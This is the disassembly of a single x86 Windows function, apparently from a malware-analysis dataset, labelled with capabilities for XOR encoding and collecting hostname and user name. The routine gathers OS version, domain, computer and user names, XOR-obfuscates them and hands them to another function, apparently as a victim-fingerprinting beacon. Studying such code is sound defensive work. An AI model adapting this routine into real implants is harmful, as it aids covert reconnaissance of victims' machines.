Function at 0x407920
Capabilities:
Encode data using xor
Get hostname
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6bc
mov eax, dword fs:[0x30]
push ebx
push esi
push edi
mov ecx, dword [eax + 0xa4]
xor ebx, ebx
mov dword [ebp - 0x14], ecx
mov ecx, dword [eax + 0xa8]
movzx eax, word [eax + 0xac]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x18]
push eax
push 1
push 0x40a060
push ebx
mov dword [ebp - 0x28], ecx
call dword [sym.imp.ADVAPI32.dll_LsaOpenPolicy]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
test eax, eax
js 0x4079ea
lea eax, [ebp - 8]
push eax
push 0xc
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_LsaQueryInformationPolicy]
test eax, eax
js 0x4079e1
mov eax, dword [ebp - 8]
cmp dword [eax + 0x28], ebx
je 0x4079da
movzx eax, word [eax + 8]
add eax, 2
push eax
push 8
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
test ebx, ebx
je 0x4079d7
mov ecx, dword [ebp - 8]
movzx edi, word [ecx + 8]
mov edx, dword [ecx + 0xc]
shr edi, 1
test edx, edx
je 0x4079d1
lea esi, [edi + edi]
xor ecx, ecx
test esi, esi
je 0x4079cb
nop dword [eax]
mov al, byte [ecx + edx]
mov byte [ecx + ebx], al
inc ecx
cmp ecx, esi
jb 0x4079c0
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
xor eax, eax
mov word [ebx + edi*2], ax
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_LsaFreeMemory]
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_LsaClose]
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x1c], 0x10
push eax
lea eax, [ebp - 0x6c]
mov dword [ebp - 0x20], 0x101
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x2b8]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
mov edi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea eax, [ebp - 0x6c]
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push eax
push 0
push 0xfde9
call edi
mov dword [ebp - 4], eax
test eax, eax
jg 0x407a44
mov dword [ebp - 0xc], 0
jmp 0x407a7f
inc eax
push eax
push 8
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
mov dword [ebp - 0xc], edi
test edi, edi
je 0x407a79
push 0
push 0
push dword [ebp - 4]
lea eax, [ebp - 0x6c]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push 0xffffffffffffffff
push eax
push 0
push 0xfde9
call edi
jmp 0x407a7f
mov edi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
lea eax, [ebp - 0x2b8]
push eax
push 0
push 0xfde9
call edi
mov dword [ebp - 0x10], eax
test eax, eax
jg 0x407aa9
mov dword [ebp - 4], 0
jmp 0x407ad7
inc eax
push eax
push 8
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 4], eax
test eax, eax
je 0x407ad7
push 0
push 0
push dword [ebp - 0x10]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x2b8]
push eax
push 0
push 0xfde9
call edi
mov ecx, 0xf
lea edi, [ebp - 0xac]
mov esi, 0x40237c
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
xor esi, esi
cmp byte [ebp - 0xac], 0
je 0x407b0b
nop word [eax + eax]
inc esi
cmp byte [ebp + esi - 0xac], 0
jne 0x407b00
xor edi, edi
nop dword [eax]
call fcn.004026a0
xor edx, edx
div esi
mov al, byte [ebp + edx - 0xac]
mov byte [ebp + edi - 0x3c], al
inc edi
cmp edi, 0x10
jb 0x407b10
lea edx, [ebp - 0x4c]
mov byte [ebp - 0x2c], 0
lea ecx, [ebp - 0x3c]
call fcn.00407710
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x3c]
push eax
push 0x40a0cc
push 0x6f
lea eax, [ebp - 0x6b8]
push 0x401b10
push eax
call esi
add esp, 0x14
mov dword [ebp - 0x10], eax
lea edi, [ebp - 0x6b8]
add edi, eax
push ebx
push dword [ebp - 0xc]
push dword [ebp - 4]
push dword [ebp - 0x24]
push dword [ebp - 0x28]
push dword [ebp - 0x14]
push 0x401b1d
push 0x401b20
push edi
call esi
mov edx, eax
add esp, 0x24
xor ecx, ecx
test edx, edx
je 0x407ba1
nop
mov eax, ecx
and eax, 0xf
mov al, byte [ebp + eax - 0x4c]
xor byte [edi + ecx], al
inc ecx
cmp ecx, edx
jb 0x407b90
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 0
push eax
mov eax, dword [ebp - 0x10]
add eax, edx
push eax
lea eax, [ebp - 0x6b8]
push eax
push ecx
mov ecx, 0x40a10c
call fcn.00406830
mov esi, dword [sym.imp.KERNEL32.dll_HeapFree]
add esp, 0x10
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
test eax, eax
je 0x407bdf
push eax
push 0
call edi
push eax
call esi
mov eax, dword [ebp - 4]
test eax, eax
je 0x407bee
push eax
push 0
call edi
push eax
call esi
mov eax, dword [ebp - 0xc]
test eax, eax
je 0x407bfd
push eax
push 0
call edi
push eax
call esi
test ebx, ebx
je 0x407c09
push ebx
push 0
call edi
push eax
call esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret